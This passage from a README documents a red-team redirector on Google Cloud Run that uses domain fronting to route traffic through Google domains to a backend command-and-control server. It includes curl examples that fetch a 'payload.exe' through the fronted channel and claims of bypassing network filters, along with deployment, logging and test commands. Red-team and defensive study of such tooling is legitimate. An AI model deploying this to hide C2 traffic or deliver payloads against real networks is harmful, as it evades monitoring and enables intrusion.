Snapchat/11.0.0 (iPhone; iOS 14.0)" \ 165 | https://api.snapchat.com/v1/updates 166 | ``` 167 | 168 | **File Download Example:** 169 | ```bash 170 | # Download file through domain fronting 171 | curl -H "Host: redirector-files-abc123xyz.us-central1.run.app" \ 172 | -o payload.exe \ 173 | https://dl.google.com/software/update.exe 174 | ``` 175 | 176 | **Persistent Connection Example:** 177 | ```bash 178 | # WebSocket-like persistent connection 179 | curl -H "Host: redirector-stream-abc123xyz.us-central1.run.app" \ 180 | -H "Connection: keep-alive" \ 181 | -N https://apis.google.com/stream 182 | ``` 183 | 184 | ## ✨ Features 185 | 186 | | Feature | Description | Benefit | 187 | |---------|-------------|---------| 188 | | 🌐 **Domain Fronting** | Route through Google domains | Bypass network filters | 189 | | 🔄 **Full HTTP Proxy** | Supports all HTTP methods | Complete protocol support | 190 | | 📝 **Request Preservation** | Forwards headers, body, params | Transparent proxying | 191 | | 🚀 **Auto-scaling** | Google Cloud Run serverless | Handles traffic spikes | 192 | | 🔒 **TLS Passthrough** | Works with self-signed certs | Flexible backend support | 193 | | ⚡ **Low Latency** | Minimal Go binary | Fast request processing | 194 | | 🐳 **Containerized** | Docker-based deployment | Easy management | 195 | 196 | ## 🏗️ Architecture 197 | 198 | ``` 199 | ┌─────────────────┐ 200 | │ Client │ 201 | └────────┬────────┘ 202 | │ HTTPS (TLS: google.com) 203 | │ Host: your-redirector.run.app 204 | ┌────────▼────────┐ 205 | │ Google Edge │ 206 | │ (CDN/LB) │ 207 | └────────┬────────┘ 208 | │ Routes by Host header 209 | ┌────────▼────────┐ 210 | │ Cloud Run │ 211 | │ (Redirector) │ 212 | └────────┬────────┘ 213 | │ HTTPS 214 | ┌────────▼────────┐ 215 | │ Backend Server │ 216 | │ (C2/API) │ 217 | └─────────────────┘ 218 | ``` 219 | 220 | ## 📊 Monitoring & Management 221 | 222 | ### List Redirectors 223 | 224 | ```bash 225 | # List all your redirectors 226 | gcloud run services list --region us-central1 --filter="metadata.name:redirector-" 227 | 228 | # Get details for specific redirector 229 | gcloud run services describe redirector-my-redirector --region us-central1 230 | ``` 231 | 232 | ### View Logs 233 | 234 | ```bash 235 | # Real-time logs 236 | gcloud run services logs tail redirector-my-redirector --region us-central1 237 | 238 | # Search logs 239 | gcloud logging read "resource.type=cloud_run_revision AND resource.labels.service_name=redirector-my-redirector" --limit 50 240 | ``` 241 | 242 | ### Remove Redirectors 243 | 244 | ```bash 245 | # Remove a specific redirector 246 | ./uninstall.sh my-redirector 247 | 248 | # Remove all redirectors (be careful!) 249 | for name in $(gcloud run services list --region us-central1 --filter="metadata.name:redirector-" --format="value(metadata.name)" | sed 's/redirector-//'); do 250 | ./uninstall.sh $name 251 | done 252 | ``` 253 | 254 | The uninstall script will: 255 | 1. Delete the Cloud Run service 256 | 2. Delete the container image from Artifact Registry 257 | 3. Keep the shared Artifact Registry repository (used by all redirectors) 258 | 259 | To see what will be deleted: 260 | ```bash 261 | gcloud run services describe redirector-my-redirector --region us-central1 262 | ``` 263 | 264 | ## 🧪 Testing 265 | 266 | ### Local Development 267 | 268 | ```bash 269 | # Test locally with httpbin 270 | export BACKEND_URL=https://httpbin.org 271 | go run main.go 272 | 273 | # In another terminal 274 | curl -H "Host: redirector-test.run.app" http://localhost:8080/get 275 | ``` 276 | 277 | ### Testing Domain Fronting 278 | 279 | **Test Script:** 280 | ```bash 281 | #!/bin/bash 282 | REDIRECTOR_URL="redirector-my-redirector-abc123xyz.us-central1.run.app" 283 | 284 | # Test various Google domains 285 | for domain in www.google.com client2.google.com storage.googleapis.com; do 286 | echo "Testing $domain..." 287 | curl -s -o /dev/null -w "%{http_code} - %{time_total}s\n" \ 288 | -H "Host: $REDIRECTOR_URL" \ 289 | https://$domain/test 290 | done 291 | ``` 292 | 293 | **Verify Headers Are Forwarded:** 294 | ```bash 295 | # Your backend should receive all original headers 296 | curl -H "Host: redirector-test-abc123xyz.us-central1.run.app" \ 297 | -H "X-Original-Header: test-value" \ 298 | -v https://client2.google.com/headers 299 | ``` 300 | 301 | ## 🔧 Configuration 302 | 303 | ### Environment Variables 304 | 305 | | Variable | Description | Required | Example | 306 | |----------|-------------|----------|---------| 307 | | `BACKEND_URL` | Your backend server URL | ✅ | `https://c2.mydomain.com` | 308 | | `PORT` | Listen port (auto-set by Cloud Run) | ❌ | `8080` | 309 | 310 | ### Deployment Settings 311 | 312 | Configured in `deploy.sh`: 313 | - **Region**: us-central1 (change for different regions) 314 | - **Memory**: 512Mi (increase for high traffic) 315 | - **CPU**: 1 vCPU 316 | - **Concurrency**: 100 requests per instance 317 | - **Min Instances**: 0 (cold start possible) 318 | - **Max Instances**: 10 (adjustable) 319 | 320 | ### Customization 321 | 322 | Edit `deploy.sh` to modify deployment parameters: 323 | ```bash 324 | # Change region (may affect domain fronting compatibility) 325 | --region us-east1 326 | 327 | # Increase resources for high traffic 328 | --memory 2Gi --cpu 2 329 | 330 | # Always keep warm instance 331 | --min-instances 1 332 | ``` 333 | 334 | ## 📄 License 335 | 336 | This project is licensed under the Apache License 2.0 - see the [LICENSE](LICENSE) file for details. 337 | 338 | --- 339 | 340 | **Made with ❤️ by [Praetorian](https://praetorian.com)** 341 | --------------------------------------------------------------------------------